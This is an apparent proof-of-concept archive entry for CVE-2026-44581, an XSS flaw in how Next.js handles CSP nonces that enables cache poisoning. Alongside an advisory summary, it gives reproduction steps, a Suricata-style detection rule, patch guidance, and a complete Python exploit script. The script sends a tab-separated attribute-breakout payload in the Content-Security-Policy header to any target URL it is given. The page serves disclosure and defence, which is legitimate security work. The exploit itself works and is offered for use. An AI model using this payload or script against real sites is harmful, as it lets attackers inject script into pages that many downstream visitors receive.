PoC Archive PoC Archive
Medium CVE-2026-44581 patched

Next.js CSP Nonce Cache-Poisoned XSS (CVE-2026-44581)

by dwisiswant0 · 2026-05-17

CVSS 4.7/10
Severity
Medium
CVE
CVE-2026-44581
Category
web
Affected product
Next.js App Router applications using CSP nonces
Affected versions
13.4.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Author / Researcherdwisiswant0
CVE / AdvisoryCVE-2026-44581
Categoryweb
SeverityMedium
CVSS Score4.7 (CVSSv3)
StatusWeaponized
TagsXSS, cache-poisoning, CSP-nonce, Next.js, App-Router, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemNext.js App Router applications using CSP nonces
Versions Affected13.4.0–15.5.15 and 16.0.0–16.2.4 (fixed in 15.5.16 / 16.2.5)
Language / PlatformJavaScript / Node.js
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2026-44581 is a reflected XSS issue in Next.js App Router nonce handling. Malformed nonce values from a Content-Security-Policy request header can be reflected into rendered HTML script attributes without safe attribute-context escaping. In caching deployments, attackers can poison cache entries with malicious markup so later visitors receive and execute attacker-controlled script logic. The issue is rated Medium (CVSS 4.7) and is fixed in 15.5.16 / 16.2.5.


Vulnerability Details

Root Cause

Vulnerable versions extracted CSP nonce values using permissive parsing and then emitted them into script nonce attributes without robust HTML attribute escaping. Crafted nonce payloads could break out of the intended attribute context and inject additional executable attributes.

Attack Vector

An attacker sends requests containing a malicious Content-Security-Policy header nonce token that reaches a vulnerable Next.js renderer. If the response is cached by a shared proxy/CDN with weak variation controls, the attacker can poison a cached response. Subsequent users retrieving the poisoned cache entry receive HTML with injected script attributes.

Impact

Successful exploitation can execute JavaScript in a victim’s browser origin (XSS), enabling theft of session data, unauthorized actions, or UI tampering. Cache poisoning increases blast radius because one attacker request can affect many downstream visitors.


Environment / Lab Setup

OS:          Linux/macOS/Windows
Target:      Next.js App Router app on vulnerable versions
Attacker:    Any host able to send crafted HTTP headers
Tools:       python3, bash, curl

Setup Steps

1
2
3
4
5
git clone https://github.com/dwisiswant0/next-16.2.4-pocs.git
cd next-16.2.4-pocs/poc/CVE-2026-44581_GHSA-ffhc-5mcf-pf4q

python3 exploit.py
bash exploit.sh

Proof of Concept

Step-by-Step Reproduction

  1. Launch vulnerable demonstration target using included mock server.

    1
    
    python3 vulnerable-app/server.py --port 8081
    
  2. Send crafted CSP nonce payload with exploit helper.

    1
    
    python3 exploit.py http://127.0.0.1:8081/
    
  3. Confirm reflected breakout behavior in script nonce attribute.

    1
    
    bash exploit.sh http://127.0.0.1:8081/
    

Exploit Code

See exploit.py and exploit.sh in this folder.

1
2
3
4
from exploit import run

exit_code = run("http://127.0.0.1:8081/")
print(exit_code)

Expected Output

[+] VULNERABLE -- attribute breakout in HTML.
<script nonce="" onerror="alert('VALIDATION_TOKEN')">/* boot */</script>

Screenshots / Evidence

  • screenshots/ — add request/response evidence and browser execution traces if captured

Detection & Indicators of Compromise

Content-Security-Policy: script-src 'nonce-"\tonerror="alert(...)'

SIEM / IDS Rule (example):

alert http any any -> $HTTP_SERVERS any (
  msg:"Possible Next.js CSP nonce cache-poisoning XSS attempt";
  content:"Content-Security-Policy"; http_header;
  content:"'nonce-\""; http_header;
  sid:900044581; rev:1;
)

Remediation

ActionDetail
PatchUpgrade Next.js to 15.5.16 or 16.2.5+
WorkaroundStrip client-controlled Content-Security-Policy request headers at CDN/reverse proxy boundaries
Config HardeningEnsure cache keys vary safely on relevant request headers and avoid reflecting untrusted header-derived nonce values

References


Notes

Auto-ingested from https://github.com/dwisiswant0/next-16.2.4-pocs on 2026-05-17.

Issue notes indicate no known active exploitation at time of reporting.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
CVE-2026-44581 / GHSA-ffhc-5mcf-pf4q -- Next.js CSP-nonce reflected XSS exploit.

The Next.js (<16.2.5) App Router renderer extracts the script `nonce` from a
`Content-Security-Policy` request header and reflects it into:
    <script nonce="${nonce}">…</script>
WITHOUT attribute-context escaping. A nonce like `" onerror="alert(1)`
breaks out of the attribute and creates a free-standing onerror handler.

Usage:
    python3 exploit.py                       # local mock + exploit
    python3 exploit.py http://target/path    # remote target
"""
import os
import signal
import subprocess
import sys
import time
import urllib.request

class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  CVE-2026-44581 -- Next.js CSP-nonce reflected XSS" + C.X)
    print(C.CY + C.B + "  Patched in 16.2.5 (commit b4c6705c70)" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int = 8081):
    here = os.path.dirname(os.path.abspath(__file__))
    server = os.path.join(here, "vulnerable-app", "server.py")
    proc = subprocess.Popen(
        [sys.executable, server, "--port", str(port)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def run(target: str | None) -> int:
    banner()

    proc = None
    if not target:
        print(C.Y + "[*] no target supplied -> launching local mock on :8081" + C.X)
        proc = maybe_start_mock(8081)
        target = "http://127.0.0.1:8081/"

    # The malformed CSP -- legacy parser uses .split(' ') so the source MUST NOT
    # contain a literal space (otherwise it splits into separate tokens and the
    # 'startsWith("'nonce-") && length > 8 && endsWith("\'")' predicate fails).
    # We use TAB (\t) as the inter-attribute whitespace -- HTML happily accepts
    # \t as an attribute separator, but JS's .split(' ') leaves the token intact.
    # ESCAPE_REGEX only matches [<>&\u2028\u2029] -- " and tab slip through.
    payload = '"\tonerror="alert(\'VALIDATION_TOKEN\')'
    csp = f"script-src 'nonce-{payload}'"

    print(f"{C.B}[*] Target:{C.X} {target}")
    print(f"{C.B}[*] CSP header:{C.X} {csp}\n")

    req = urllib.request.Request(target, headers={"Content-Security-Policy": csp})
    try:
        with urllib.request.urlopen(req, timeout=10) as r:
            body = r.read().decode("utf-8", errors="replace")
            srv_mode = r.headers.get("X-Server-Mode", "?")
            reflected = r.headers.get("X-CSP-Nonce-Reflected", "?")
    except Exception as e:
        print(C.R + f"[-] request failed: {e}" + C.X)
        return 2
    finally:
        if proc:
            try: os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError: pass

    print(f"{C.B}[i] X-Server-Mode:{C.X} {srv_mode}")
    print(f"{C.B}[i] X-CSP-Nonce-Reflected:{C.X} {reflected}\n")

    print(C.B + "--- relevant response lines ---" + C.X)
    for line in body.splitlines():
        if "<script" in line or "nonce=" in line:
            print(line)
    print(C.B + "-------------------------------" + C.X + "\n")

    needle = 'nonce="" onerror="alert(\'VALIDATION_TOKEN\')"'
    patched_needle = "&quot;"

    if needle in body:
        print(C.G + C.B + "[+] VULNERABLE -- attribute breakout in HTML." + C.X)
        print(C.G + "    <script nonce=\"\" onerror=\"alert('VALIDATION_TOKEN')\"> reflected." + C.X)
        print(C.G + "    onerror fires when the script element fails / is processed." + C.X)
        print()
        print(C.Y + "[i] Verify with verify_vulnerability (type=xss). Pass the URL +" + C.X)
        print(C.Y + "    Content-Security-Policy: " + csp + C.X)
        return 0
    if patched_needle in body:
        print(C.R + "[-] PATCHED -- htmlEscapeAttributeString visible (&quot;)." + C.X)
        return 1
    if "nonce=" not in body:
        print(C.R + "[-] PATCHED -- strict regex rejected the malformed nonce; no nonce attribute emitted." + C.X)
        return 1
    print(C.Y + "[?] inconclusive -- nonce present but breakout not found." + C.X)
    return 3


if __name__ == "__main__":
    sys.exit(run(sys.argv[1] if len(sys.argv) > 1 else None))